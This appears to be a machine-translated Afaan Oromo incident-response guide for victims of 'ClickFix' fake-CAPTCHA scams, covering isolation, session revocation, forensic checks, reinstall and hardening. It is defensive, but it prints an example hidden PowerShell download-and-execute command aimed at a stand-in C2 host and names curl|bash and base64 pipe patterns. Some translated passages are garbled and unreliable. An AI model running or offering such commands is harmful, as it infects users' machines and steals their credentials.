'ClickFix' Fake CAPTCHA Scam: Maaliif Win+R fi Ctrl+V Dhiibuun Info-Stealer Malware Hojjeta¶

Yoo reefuu "Ani roobootii miti" ykn "Nama ta'uu kee mirkaneessi" jedhu kan marsariitii tokko irratti cuqaaste (ykn dogoggora sobaa Cloudflare Turnstile, Google Meet, Zoom, ykn browser update popup argite) kan Windows + R (ykn macOS Terminal banaa), ** dhiibi.Ctrl + V** (Cmd + V), fi ** rukutuu.Enter**, kompiitarri keessan reefu live malware payload raawwateera - baay'inaan kan Lumma Stealer, . Vidar, . StealC, . RedLine, ykn Atomic macOS Stealer (AMOS) info-hattuu. Meeshaan seera qabeessa CAPTCHA, Cloudflare check, ykn viidiyoo konfiraansii Lafa irratti argamu kamiyyuu yoomiyyuu nama tokko qaaqa Windows Run akka banu hin gaafatu (Win + R), Windows Terminal, Command Prompt, ykn macOS Terminal fi ajaja maxxansi. Yeroo fuula marsariitii sana irratti saanduqa filannoo sobaa "Verify" jedhu cuqaastu, JavaScript hamaa (navigator.clipboard.writeText()) callisee PowerShell dhokate waraabe, . mshta.exe, . rundll32, ykn curl | bash ajaja gara gabatee kiliippii kee irratti. Erga dhiibdee booda sekondii 3 hanga 6 keessatti Enter, iskiriiptiin sun raawwatamuu yaadannoo keessaa kan jecha icciitii qusatame hunda hiikuu fi balleessu, kaardii liqii ofumaan guutuu, vault dheerina biraawzari maallaqa kirpitoo (MetaMask, . Phantom, . Rabby), Mallattoo Discord/Telegram, fi kukii session active loged-in Chrome, Edge, Brave, fi Firefox irraa - kan haleellaa raawwatan jecha icciitii ykn Two-Factor Authentication osoo hin barbaachisin Gmail, Microsoft 365, baankii, fi herrega dhaabbataa keessan akka butatan kan taasisu (2FA). Sirreeffama gadi fagoo turtii biraawzari butameef, akkasumas mariisisaa butamuu kukii turtii, malware infostealer, fi furtuu darbiinsaa haquu; yoo duraan dursitee maallaqni boorsaa of eeggachuu keessaa bahu argite, battalumatti gara cryptocurrency wallet drain fi sanyii gaalee araarama; ykn yoo gowwoomsaan AnyDesk ykn ScreenConnect akka fe'attu si haasofsiise, ilaali tech support pop-up scam fi fageenya irraa desktop balleessuu. Infeekshiniin kun buufata hojii hospitaalaa, neetworkii bulchiinsa magaalaa irratti yoo uumame, ykn saamicha nageenya lubbuu hatattamaa kan of keessaa qabu yoo ta’e, lakkoofsa hatattamaa naannoo keessanii bilbilaa (911 Ameerikaa fi Kaanaadaa keessatti, . 112 guutuu Gamtaa Awurooppaa keessatti, . 999 Yunaayitid Kingidam keessatti) ykn galmee keenya kan lakkoofsa balaa tasaa.

Amma kana godhi¶

1. Keebilii Ethernet keessan hiiksi ykn Wi-Fi kompitara dhukkuba kanaan qabame irratti sekondii 5 keessatti cufuu: Info-stealers like Lumma Stealer kuusdeetaa SQLite biraawzari kee paakeejii (Login Data, . Cookies, . Network/Cookies, . Web Data) gara a .zip kuusaa keessatti %TEMP% fi gara Ajaja-fi-To'annoo (C2) sarvarii, sana booda yeroo baay’ee Trojan Fagoo Dhaqqabummaa sadarkaa lammaffaa (RAT), bakka bu'aa mana jireenyaa SOCKS5, ykn fe'aa ransomware. Walitti hidhamiinsa interneetii addaan kutuun fe’umsa sadarkaa lammaffaa fi tamsa’ina iskiriinii/kiistrookii itti fufee jiru battalumatti dhaabsisa.
2. Jechoota icciitii jijjiiruuf kompiitara dhukkuba kanaan qabame HIN fayyadaminaa - yeroo ammaa kana bilbila ismaartii qulqulluu (daataa seelotaa irratti) ykn kompiitara hin faalamne fudhadhaa: Yoo furtuu itti fufiinsaan, kiliiboodii butuu, ykn HVNC (Hidden Virtual Network Computing) moojuuliin RAM keessatti PC dhukkuba kanaan qabame irratti hojjechaa jira, jechoota icciitii haaraa keessan PC sana irratti barreessuun ragaa haaraa kallattiin nama haleelutti deebisee kenna.
3. Bilbila qulqulluu keessan irraa, "Sign out of all devices / Revoke all active sessions" kan jedhu email keessan isa jalqabaa irratti cuqaasaa (Gmail / . Microsoft 365 / . Yahoo), bulchaa jecha icciitii, fi hojii SSO (Okta / . Entra ID) JALQABA:
4. Maaliif jecha icciitii kee salphaatti jijjiiruun gahaa MITI: Info-stealers cookies active authentication session kee hatu (SAPISID, . SID, . ESTSAUTH, . .ROBLOSECURITY, . li_at). Waltajjiiwwan hedduu irratti, kukii turtii ergame guyyoota ykn torban hedduudhaaf seera qabeessa ta'a, yoo ifatti Tuuta hunda keessaa ba'i / Mallattoolee haquu FI jecha icciitii kee naannessite malee.
5. Google / Gmail: Daawwadhaa myaccount.google.com/device-activity -> session desktop hunda filadhaa -> Sign out cuqaasaa, sana booda jecha icciitii Google keessan jijjiiraatii inspect godhaa Settings -> Forwarding and POP/IMAP seera callisaan dabarsuudhaaf.
6. Maayikiroosoft / Outlook / ID seensaa: Daawwadhaa mysignins.microsoft.com/security-info -> Sign out everywhere cuqaasaa, sana booda jecha icciitii keessan deebisaa.
7. Yoo dheerina boorsaa maallaqa kirpitoo kamiyyuu qabaatte (MetaMask, . Phantom, . Coinbase Wallet, . Trust Wallet, . Exodus, . Electrum) kompiitara sana irratti, maallaqa hunda gara gaalee sanyii haaraa meeshaa qulqulluu irratti battalumatti baasuu:
8. Lumma Stealer fi AMOS kan icciitii ta'e waraabi Local Extension Settings Faayilota indexedDB/LevelDB vault Chrome/Brave/Edge irraa kallattiin gara sarvarii haleellaa, bakka tuutni GPU brute-force dheerina naannoo kee jecha icciitii sarara ala banaa (ykn gaalee sanyii kallattiin RAM irraa dubbisi yoo cufame). Gaaleen sanyii fi furtuun dhuunfaa PC sana irratti kuufamee hin beekne hundi dhibbeentaa 100 balaadhaaf saaxilameera jennee haa fudhannu.
9. PC haxaa'uu dura ajaja sirrii maxxansite sana eegi waan raawwate akka beektuuf:
10. Windows irratti Notepad (yeroo ammallee sarara ala ta'ee jiruu) banaatii dhiibaa Ctrl + V waan ammallee gabatee kee keessa taa'e hunda maxxansuuf, ykn dhiibi Windows + R fi xiyya gadi bu'aa cuqaasuun Irra Dhiheenya Fayyadame (MRU) Seenaa keessatti kuufame fiigi HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Deebii taateef ajaja sana bilbila keessaniin suuraa ka'aa.
11. Skaan farra vaayirasii saffisaa amanachuu caalaa sirna hojii USB qulqulluu irra deebi'anii fe'uu (ykn full offline forensic wipe) raawwachuu: Ammayyaa ClickFix payloads seera qabeessa mallatteeffame Windows binaries fayyadamu (Living-off-the-Land Binaries ykn LOLBins akka mshta.exe, . powershell.exe, . certutil.exe, . regsvr32.exe, fi AutoIt3.exe) kanneen adeemsa sirna seera qabeessa ta’etti lilmoodhaan galchan (explorer.exe, . svchost.exe) fi yeroo baayyee Windows Defender (Add-MpPreference -ExclusionPath).

Muka murtii: battalumatti qabachuu fi deebisuu erga ClickFix booda Win+R ykn Paastaa Tarminaala¶

Muka murtii kana yeroo ajaja itti maxxansite hubattu hordofi Win + R, Tarminaala Windows, ykn Tarminaala macOS:

flowchart TD
    Start["Ajaja CAPTCHA Sobaa / Dogoggora Sirreessuu gara Win+R, PowerShell, ykn macOS Terminal tti maxxane"] --> Disconnect["TARKAANFII 1ffaa (Sekondii 0 hanga 10): Ethernet hiikuu & Kompitara Faalamee irratti Wi-Fi Hatattamaan Cufuu"]

    Disconnect --> CryptoCheck{"Kompiitarri Kun Wallet Kiriiptoo (MetaMask, Phantom, Exodus, Ledger Live, Saved Keys) Qaba turee?"}

    CryptoCheck -->|"Eeyyee"| EvacCrypto["TARKAANFII 2ffaa (ARGATTAA): Bilbila/Hardware Wallet Qulqulluu irratti, Gaalee Sanyii HAARAA Uumiitii Qabeenya Hundaa Hatattamaan Baasi Dabarsi"]
    CryptoCheck -->|"Lakki"| CleanDevice["TARKAANFII 2: Gara Smartphone Qulqulluu (Cellular Data) ykn Meeshaa Hin Faalamneetti jijjiiraa"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["TARKAANFII 3: Kutaawwan Gama Sarvarii Haquu & Jechoota Icciitii Tartiiba Dursa Cimaa Ta'een Naannessuu"]

    RevokeSessions --> P1["1. Imeelii Duraa (Gmail / M365 / Proton): Kutaa Meeshaa Socho'u Hundaa ajjeesuu, Password Reset gochuu, Seera Forwarding Check gochuu"]
    P1 --> P2["2. SSO Hojii / Dhaabbataa (Okta / Entra ID / VPN / AWS / GitHub / SSH Keys): Yoo Herregni Hojii Galfame Hatattamaan SOC Dhaabbataa beeksisuu"]
    P2 --> P3["3. Herrega Faayinaansii, Baankii, PayPal, Stripe, Amazon, Steam, Discord, fi Social Media"]

    P3 --> InspectPayload["TARKAANFII 4ffaa (PC Faalamee irratti sarara ala): Fe’umsa adda baasuuf RunMRU Registry & PowerShell Operational Event ID 4104 ilaali"]

    InspectPayload --> WipeChoice{"Kun Xumura Dhaabbataa Moo Kompitara Dhuunfaa?"}
    WipeChoice -->|"Dhaabbataa / BYOD kan Hojii Argachuu qabu"| CorpIR["Maashinii Harkaa Toora Alaa Gara Nageenya IT / SOC tti EDR Forensic Triage fi BitLocker Re-Image tiif"]
    WipeChoice -->|"Windows / Mac Dhuunfaa"| CleanInstall["Sanadoota Safara Qofa Duubaa (No .exe/.bat/.dmg) -> Boot Clean USB -> Haxaa'uu Partitions & OS Deebi'anii Fe'uu"]

Marsaa 1ffaa: Anaatoomii haleellaa "ClickFix" - Akkaataa fuul-barruu tokko itti butamu Win + R¶

Sekondii 5 sana keessatti waan sirna hojii keessan keessa ta'e hubachuun faayiloota fi akkaawuntiiwwan tokko tokko balaa battalaa keessa akka jiran yoo ta'u kaan ammoo balaadhaaf akka hin saaxilamne ibsa.

1. Sossobbiin hawaasummaa 3n duula ClickFix keessatti fayyadaman¶

Haleellaan wal-irratti ClickFix beeksisa badaa (bu'aa barbaacha ispoonsara ta'e), marsariitiiwwan WoordPress balaadhaaf saaxilaman, sooftiweerii/poortala yaa'aa saamtota, kuusaawwan GitHub sobaa, fi iimeelii phishing irratti raabsu: 1. Sanduqa Duumeessa Sobaa / Google reCAPTCHA ("Nama Ta'uu kee Mirkaneessi"): Sanduuqa filannoo "Ani roobootii miti" jedhu cuqaasta. Bakka mallattoo magariisaa, mul'ata: "Tiraafikaa hin baratamne argame. Nama ta'uu kee mirkaneessuuf tarkaanfiiwwan 3 kana xumuri: 1. Dhiibaa." Windows + R kiiboordii keessan irratti. 2. Dhiibaa Ctrl + V. 3. Dhiibaa Enter." ."* 2. Dogoggora Qubee ykn Fooyya'iinsa Sobaa Chrome / Edge ("Fuula marsariitii kana agarsiisuu irratti wanti tokko dogoggora ta'e"): Duubbee jajjaboo qaaqa Chrome ofiisaa fakkaatuun marsariiticha kan uwwisu yoo ta'u, ragaa hundee ykn fooyya'iinsa qubee dhabame himachuun Windows PowerShell / Terminal banuun "iskiriiptii sirreeffama ofiisaa" maxxansi. 3. Dogoggora Maaykiroofoonii ykn Kaameeraa Garee Sobaa / Google Meet / Microsoft Teams: Karaa waamicha gaaffii fi deebii hojii sobaa ykn hidhaa walgahii maamilaa kan ergamu fuul-barruun kun iskiriinii viidiyoo naanna'aa jiru kan agarsiisu yoo ta'u, fayyadamtoonni macOS fi Windows Terminal akka bananii ajaja "driver reset" jedhu akka maxxansan gaafata.

2. Ajajni sun maaliif miidhaa kan hin qabne fakkaate Win + R saanduqa¶

Icha Windows + R (Run) sanduuqa barruu qaaqa bal'ina arfiilee 259 qofa mul'ataan** (MAX_PATH Dirree galtee UI), fi dhuma dhangii maxxane erga qaree kee gara mirgaatti utaalee booda qofa agarsiisa. Haleellaan ajaja isaanii isa hamaa iddoowwan itti dabaluudhaan ykn yaada sobaatiin xumuruudhaan ciccituu mul'ataa kana fayyadamu:

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

3. Sirriitti maal Lumma Stealer, . StealC, fi AMOS sekondii 4 keessatti hatuu¶

Marsaa 2ffaa: Cufiinsa Herregaa & Haquu (Daqiiqaa 1 hanga 30 - Meeshaa Qulqulluu Irratti) .¶

PCn dhukkuba kanaan qabame guutummaatti interneetii irraa addaan citee osoo jiruu, tartiiba qabachuu sirrii kana raawwachuuf ismaartii qulqulluu ykn kompiitara lammaffaa fayyadami.

Tarkaanfii 1ffaa: Email Accounts keessan cufaa (Gmail, . Microsoft 365 / Outlook, . Yahoo, . Apple iCloud) .¶

akkaawuntii email hundaaf kan piroofaayilii biraawzari kamiyyuu keessa seene (Default, . Profile 1, . Work) kompiitara sana irratti: 1. Kutaa meeshaa socho'aa hunda addaan kutuu: - Google / Gmail: Gara... myaccount.google.com/device-activity -> meeshaa Windows/Mac dhukkuba kanaan qabame filadhu (fi sessions hin baramne kamiyyuu) -> Sign out cuqaasi. Akkasumas daawwadhaa myaccount.google.com/connections akkasumas appii OAuth qaama sadaffaa shakkisiisaa ta'e kamiyyuu haquu. - Microsoft (M365 Dhuunfaa fi Hojii): Gara account.live.com/proofs/Manage (dhuunfaa) ykn mysignins.microsoft.com/security-info (hojii) -> Bakka hundatti galmaa'i cuqaasaa. 2. Jeroo icciitii email gara jecha icciitii haaraa, adda ta'ee fi meeshaa qulqulluu keessan qofa irratti kuufameetti jijjiiri. 3. Seerota Sanduuqa Galtee, Filter, fi Ofiin Dabarsuu hatattamaan odiitii gochuu: Opereetoroonni odeeffannoo-hattuu iskiriiptii ofumaan hojjetan kanneen kukiiwwan Gmail/Outlook hataman keessa seenan daqiiqaa muraasa keessatti erga dhukkuba kanaan qabamee booda fi calaqqee dhokataa uumu: Yoo ergaan "Nageenya", "Koodii", "Coinbase", "Binance", "Bank", ykn "Steam" of keessaa qabaate -> Akka Dubbisaatti mallatteessi, Gara haleellaatti dabarsuu, Gara Nyaata Kosii/RSStti ceesi. - Gmail keessatti: Mul'ata deeskitooppii banaa -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses FI Forwarding and POP/IMAP. Filtara ykn teessoo dabarsuu hin beekamne kamiyyuu hatattamaan haqi. - Outloow / M365 keessatti: Banaa Settings -> Mail -> Rules FI Mail -> Forwarding FI Mail -> Junk email (ergeessitoota ugguraman sakatta'ii haleellaan akka hin uggurre mirkaneessi no-reply@accounts.google.com ykn baankii keessan).

Tarkaanfii 2ffaa: Password Managers cufuu (Bitwarden, . 1Password, . Dashlane, . KeePass, . iCloud Keychain) .¶

• Jechoota icciitii keessan Chrome / Edge / Brave'n Password Manager keessa jiru keessa kuufattaniittuu? Jechi icciitii tokko tokko Chrome, Edge, Brave, Opera, ykn Firefox keessatti kuufame hundi (yoo Firefox Primary Password set amala qabaate malee) info-stealer tiin barreeffama ifa ta'een ergame. Jechoota icciitii bulchaa jecha icciitii browser keessaa ijaarame keessatti kuufaman dhibbeentaa 100 akka balaadhaaf saaxilamanii ilaaluu fi herrega faayinaansii, iimeelii fi hojii irraa eegalee jijjiiruu qabda.
• Pasword Manager kan of kenne fayyadamtaniittuu (1Password, . Bitwarden, . Proton Pass, . Keeper)?
• Yoo yeroo ajaja fiigde sanatti vault locked ta'e, vault kee icciitii ta'e Master Password / Secret Key keetiin eegamee hafa.
• Yoo dheerinni vault mimoorii keessatti baname ta'e (ykn yoo ajaja erga hojjettee booda Master Password kee barreessite), bilbila kee qulqulluu irraa gara web vault manager password seeni, Deauthorize all sessions cuqaasi (Bitwarden: Settings -> My Account -> Deauthorize Sessions), Jecha Darbii Guddaa kee naannessi, fi mirkaneessitoota gatii olaanaa qaban vault keessaa naanneffachuu dursa kenni.

Tarkaanfii 3: Mallattoolee Developer, Corporate, fi Chat Haquu (GitHub, . AWS, . Discord, . Telegram, . Steam) .¶

• Discord: Jecha icciitii Discord kee jijjiiruun ofumaan mallattoo mirkaneessuu kee isa durii seera qabeessa taasisa (leveldb mallattoo). Achumaan jecha icciitii Discord bilbila keessan irraa jijjiiraa, ilaalaa Settings -> Devices -> Meeshaalee beekaman hunda keessaa ba'i, fi ilaali Settings -> Authorized Apps fi Settings -> Billing (kaardii liqii/PayPal qusatame haquu).
• Telegram: Bilbila keessan irratti banaa Telegram -> Settings -> Devices -> battalumatti Terminate All Other Sessions tuquun (kun hatame kamiyyuu ni ajjeesa tdata kloonii galmee deeskitooppii).
• Steam: Bilbila keessan irratti appii Steam -> banadhaa Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices, jecha icciitii kee jijjiiri, fi Furtuu API tokkollee irratti galmaa'uu dhabuu isaa mirkaneessi steamcommunity.com/dev/apikey (gowwoomsitoonni furtuu Steam Web API gowwoomsaa galmeessuun dhiyeessii daldalaa butachuuf).
• GitHub / GitLab / AWS / SSH: Yoo software engineer ykn sysadmin taate, daawwadhu github.com/settings/sessions (turtii biraawzari haquu), . github.com/settings/keys (furtuuwwan SSH PC sana irratti kuufaman haquu), github.com/settings/tokens (Mallattoolee Dhaqqabummaa Dhuunfaa haquu), fi kamiyyuu naannessi -/.aws/credentials Furtuuwwan IAM konsoolii AWS IAM keessatti battalumatti. Qajeelfama keenya kan of kenne irratti ilaalaa dhiyeessii sansalataa npm/PyPI araarama fi naannoo furtuu buufata hojii misoomsaa.

Marsaa 3ffaa: Offline Forensic Inspection - PC keessan irratti maaltu akka fiige sirriitti baruu¶

Kompitara dhukkuba kanaan qabame haxaa'uu fi deebitee fe'uu kee dura (ykn garee nageenya dhaabbata keetii gabaasa yeroo qopheessitu), maaltu... ClickFix ajajni maashinicha 100% sarara ala osoo jiruu (Wi-Fi cufame, Ethernet unplugged) godhe.

1. Windows sakatta'uu Win + R Seenaa fi Galmeewwan Paaworsheelii¶

1. Windows Run (Win + R) Galmee MRU ( .Most Recently Used) tarree: Banaa regedit.exe ykn foddaa PowerShell sarara ala ta'ee fi hojjedhu:

   Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
   

   Ajajni yoomiyyuu barreeffame ykn itti maxxane hunda Win + R asitti qabeentota jalatti saagama a, . b, . c, fi kkf Ajaja qubee jalqaba keessatti agarsiifame irratti galmaa'e ilaali MRUList.
2. Galmee Taatee Galmee Uggura Iskiriiptii Paaworsheel (ID Taatee) ilaali 4104): Yoo haleellaan fayyadamellee -WindowStyle Hidden (-w h) fi koodii Base64 ( .-EncodedCommand / . -e), Windows ofumaan iskiriiptii PowerShell shakkisiisaa Event Viewer keessatti hiikuu fi galmeessa:
3. Dhiibaa Win + X -> Ilaaltuu Taatee -> gara Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational.
4. Caalbaasii ID Taatee ** .4104** (Execute a Remote Command). Iskiriiptii PowerShell sirrii deobfuscated, URL inni irraa buufame, fi galmee keessa jiru ni argita %TEMP%, . %AppData%, ykn %LocalAppData% bakka fe’umsa isaa isa lammaffaa itti gadi buuse.
5. Windows irratti bakka persistence itti fe'ame ilaali: Info-stealers fi iskiriiptii fe'umsaa isaanii (NetSupport Manager RAT, . Amadey, . SectopRAT, . AsyncRAT) bakka afuritti lubbuun jiraachuu reboot hundeessu:

   # 1. Registry Run / RunOnce keys:
   Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
   Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
   
   # 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
   Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force
   
   # 3. Recently created Scheduled Tasks:
   Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State
   
   # 4. Windows Defender Exclusions added by the malware:
   Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
   Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
   

   (Yoo argitan C:\, . C:\Users, . %AppData%, ykn .exe jalatti dabalameera ExclusionPath ykn ExclusionProcess, malware kun ifatti Microsoft Defender maashinii keessan irratti jaamseera.)

2. macOS sakatta'uu erga Tarminaalii ClickFix (Atomic macOS Stealer / AMOS ykn Poseidon) .¶

macOS irratti, fuula ClickFix fayyadamaan Terminal (Cmd + Space -> Terminal) fi ajaja base64-encoded akka echo "..." | base64 -d | bash. 1. Yeroo sarara ala jirtuu seenaa sheelii kee ilaali (cat -/.zsh_history | tail -n 30 ykn cat -/.bash_history). 2. Malware LaunchAgent duubbee itti fufiinsa qabu fe'uu isaa mirkaneessi:

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

Marsaa 4ffaa: Sirreeffama Qulqulleessuu - Maaliif haxaa'uu fi deebitee fe'uu qabda (ykn offline rescue fiiguu qabda) .¶

Dhaabbilee nageenyaa (CISA, . FBI, . NCSC) cimsee gorsa **info-stealer ykn LOLBin raawwii, sababni isaas fe'attoonni yeroo baay'ee sheelkoodii gara baayinarii sirna seera qabeessa ta'etti lilmoo, rootkit/proxy drivers fe'u, ykn balbala duubaa rafee dhiisu (NetSupport RAT / . Cobalt Strike).

Tarkaanfii tarkaanfiin Irra Deebiin Dhaabuu Qulqulleessuu & Safe File Backup¶

1. Osoo PCn dhukkuba kanaan qabame ammallee sarara ala jiruu, faayiloota daataa qulqulluu QOFA back up godhi: Sanadoota dhuunfaa, suuraa, gabatee fi koodii madda qofa waraabi (.pdf, . .jpg, . .docx, . .xlsx, . .mp4, . .txt) gara USB drive alaa irratti. Gonkumaa duubatti hin deebi'inaa .exe, . .msi, . .bat, . .ps1, . .vbs, . .js, . .lnk, . .dmg, . .pkg, ykn biraawzari User Data galmee piroofaayilii.
2. Kompitara LAMAFFAA, qulqulluu irratti, Windows 11 Media Creation USB (microsoft.com/software-download/windows11) ykn naannoo macOS Recovery.
3. Instaala USB qulqulluu irraa boot, kutaalee SSD boot irratti jiran hunda haqi (kanaaf EFI System Partition, MSR, fi primary OS partition haaraa uumamaniiru), fi waraabbii qulqulluu sirna hojii fe'i.
4. Yoo guutummaatti maashinicha hatattamaan haxaa'uu hin dandeenye:
5. Defender exclusions hunda haqi (Remove-MpPreference -ExclusionPath ...).
6. Gara Haala Nageenyaa Windows kan Networking hin hojjenne (ykn Kaspersky Rescue Disk / ESET SysRescue Live USB irraa boot gochuu), fi Microsoft Defender Offline fayyadamuun skaaniin sarara ala guutuu hojjedhu (Start-MpWDOScan), Malwarebytes, fi ESET Online Scanner, dabalataan galtee hunda Sysinternals Autoruns (autoruns64.exe) kan Galtee Microsoft dhoksi kan hin mallatteeffamne waliin.

Marsaa 5ffaa: Windows fi macOS jabeessuun akka ClickFix lammata ta'uu hin dandeenye¶

• Dhoksuu ykn hojii irraa oolchuu Windows + R (Run) qaaqa miseensota maatii teeknikaa hin taaneef ykn fayyadamtoota dhaabbataa istaandaardii karaa Imaammata Garee / Galmee: Saagi NoRun = 1 (DWORD) jalatti HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer guutummaatti hojiirraa oolcha Windows + R karaa gabaabaa kiiboordii. Sababni isaas haleellaan ClickFix dhibbeentaan 95 fayyadamaan dhiibuu irratti hirkata Win + R, qaaqa Fiigi hanqisuun fayyadamaan waan tokkollee osoo hin maxxansiin dura haleellaa qabbanaa'ee dhaaba.
• Waldaa faayilii durtii jijjiiri .hta, . .vbs, . .js, fi .wsf iskiriiptii gara notepad.exe: hojii dhaabuu mshta.exe fi wscript.exe karaa Windows Haleellaa Fuula Hir'isuu (ASR) seera ykn walqabsiisuu .hta/ ..vbs/ ..js Notepad wajjin raawwii iskiriiptii dhorka.
• Akkaawuntiiwwan murteessoo ta'an gara Hardware-Bound Passkeys tti fooyyessuu (FIDO2 / WebAuthn Furtuu Nageenyaa kan akka YubiKey): Info-hattoonni erga seenan booda kukiiwwan turtii biraawzari irraa hatuu kan danda'an yoo ta'u, furtuuwwan nageenya haardwaaraa (FIDO2) umurii turtii gabaabaa fi Madaallii Dhaqqabummaa Itti Fufiinsa Qabu (CAE / Mirkaneessitoota Tuuta Meeshaa-Hidhaman DBSC) haleellaa raawwatan akka irra deebi’anii hin mirkaneessine ykn mirkaneessitoota bu’uuraa akka hin ergin dhorka.
• Beeksisa biraawzarii fi malvertising blocker (uBlock Origin / . uBlock Origin Lite) fi Daawwannaa Nageenyaa Fooyya'e dandeessisi: Infeekshiniin ClickFix dhibbeentaa 60 ol beeksisa barbaacha hamaa Google/Bing kan sooftiweerii seera qabeessa fakkeessuu irraa madda (Slack, . Notion, . OBS, . Homebrew, . WinSCP, . TradingView) ykn marsariitiiwwan tamsaasaa.

Lakkoofsa balaa tasaa naannoo fi pirootokoolii ejensii¶

Yoo CuqaasuuFix / . Lumma Stealer infekshiniin balaadhaaf saaxilame ragaalee dhaabbataa, sirna eegumsa fayyaa, herrega faayinaansii, ykn neetworkiin mootummaa, taatee kana hatattamaan karaa ofiisaa gabaasu:

• Ameerikaa fi Kanaadaa:
• Nageenya Jireenyaa Hatattamaa / Bu'uuraalee Murteessaa: Bilbila 911 yoo infekshiniin tokko sirna kilinikaa hospitaalaa ykn hojii nageenya hawaasaa jeeqe.
• Giddugala Iyyannoo Yakka Intarneetii FBI (IC3) (US): Gabaasa hatattamaa ** irratti galmeessi.ic3.gov** (keessattuu yoo maallaqni kirpitoo, wayaa baankii, ykn Araarama Imeelii Daldalaa dhaabbataa kukiiwwan turtii hataman irraa kan madde ta’e).
• Ejensii Nageenya Saayibarii fi Nageenya Bu'uuraalee misoomaa (CISA) (US): Dhaabbileen dhaabbilee fi bu’uuraalee misoomaa murteessoo ta’an cabsa infostealer ** tti gabaasuu qabu.1-844-Say-CISA (1-844-729-2472)** ykn cisa.gov/report.
• Giddugala Farra Hannaa Kanaadaa (CAFC) & Giddugala Saayibarii: Bilbila 1-888-495-8501 ykn gabaasa cyber.gc.ca.
• Yunaayitid Kingidam:
• Tajaajila Balaa Tasaa: Bilbila 999 (yookaan 101 poolisii balaa tasaa hin taaneef).
• Action Fraud & NCSC: Yakka saayibarii fi maallaqa hatame Action Fraud (0300 123 2040 / . actionfraud.police.uk). Yoo daataa maamiltoota dhaabbataa ykn ragaaleen baafaman, dirqama 72-sa'aatii UK GDPR beeksisa ICOf madaali (0303 123 1113).
• Gamtaa Awurooppaa:
• Tajaajila Balaa Tasaa: Bilbila 112 biyyoota miseensa Gamtaa Awurooppaa hunda keessatti.
• GDPR Keewwata 33 & Gabaasa CSIRT NIS2: Sababni isaas Lumma Stealer browser hunda exfiltrates Login Data, . Cookies, fi kaachota ofumaan guutuu, laptopiin dhaabbataa dhukkuba kanaan qabame kamiyyuu kan daataa dhuunfaa hojjetaa ykn maamilaa qabate cabsa daataa iccitii mirkanaa’e kan uumu yoo ta’u, kunis Abbaa Taayitaa Eegumsa Daataa biyyaalessaa keessaniif beeksisa sa’aatii 72f madaallii barbaachisa (DPA).
• Awustiraaliyaa fi Niwuu Ziilaand:
• Tajaajila Balaa Tasaa: Bilbila 000 Awustiraaliyaa keessatti ykn 111 Niwuu Ziilaanditti.
• Giddugala Nageenya Saayibarii Awustiraaliyaa (ACSC / GabaasaSaayibarii): Bilbila 1300 CYBER1 (1300 292 371) ykn faayilii irratti cyber.gov.au (fi IDCARE qunnamaa 1800 595 160 eenyummaa deebisuuf). Niwuu Ziilaanditti CERT NZ (0800 237 869).
• Hindii fi Eeshiyaa-Paasifiik:
• Toora Gargaarsa Yakka Saayibarii Biyyaalessaa Hindii & . CERT-In: Bilbila 1930 hatattamaan hanni maallaqaa yoo uumame, galmee cybercrime.gov.in, akkasumas cabsa jaarmiyaa CERT-In (incident@cert-in.org.in) sa'aatii 6 keessatti.

Gaaffiiwwan yeroo baay’ee gaafataman¶

jedheen bane Win + R jedhee dhiibame Ctrl + V, kanaaf barreeffamni sun saanduqa keessatti mul'ateera, garuu gaaddidduu fakkaachuu isaa hubadhee osoo hin dhiibin "Haqi" cuqaase Enter. Vaayirasichaan qabamee jiraa?¶

Lakki, guutummaatti nagaa dha. Fuulli marsariitii biraawzari JaavaScript (navigator.clipboard.barreessuuBarruu), fi dhiibuudhaan Mo'achuu + R itti aansee Ctrl + V jedhamuun beekama dhangii barruu sana gara sanduuqa galtee Windows Run tti maxxansi qofa. Hanga dhiibdutti wanti raawwatu hin jiru Galchi ykn cuqaasaa OK. Yoo cuqaaste Haquu ykn cufe kan Fiigi saanduqa osoo hin dhiibin Galchi, ajajni tokkollee hin eegalamne. Salphaatti jecha miidhaa hin qabne akka akkam jirtu Notepad keessatti fi caancala biraawzari hamaa cufi.

Maaliif Windows Defender ykn antivirus koo yeroon itti maxxansu ajaja sana hin uggurre Win + R?¶

Sababni isaas ati - fayyadamaan namaa seene - qaamaan dhiibde Mo'achuu + R jedhee rukute Galchi, Windows ajaja akka tarkaanfii bulchiinsaa itti yaadamee irraa eegalameetti ilaala explorer.exe jedhamuun beekama faayila hin amanamne interneetii irraa buufame (kan akka idileetti Mark-of-the-Web qabatu) osoo hin taane Zoonii.Adda baasuu tag jedhu). Kana malees, sansalatni ClickFix baayinarii mallatteeffame Microsoft keessaa ijaarame fayyadamu (mshta.exe jedhamuun beekama, . powershell.exe jedhamuun beekama, . conhost.exe jedhamuun beekama, ykn hiiktoota qaama sadaffaa mallattaa’an kan akka AutoIt3.exe jedhamuun beekama) kallattiin RAM keessatti fe'umsa walitti qabuu fi hiikuu, yeroo baay'ee raawwachuu Add-MpPreference -Daandii Alaa "C:\" faayila malware beekamaa kamiyyuu gara diskitti barreessuu dura milisekondii jalqabaa keessatti.

Info-stealer tokko faayiloota akkaawuntii fayyadamaa hunda PC koo irratti hata, ykn piroofaayilii koo seene qofa irraa (Default vs. Profile 1, . Profile 2)?¶

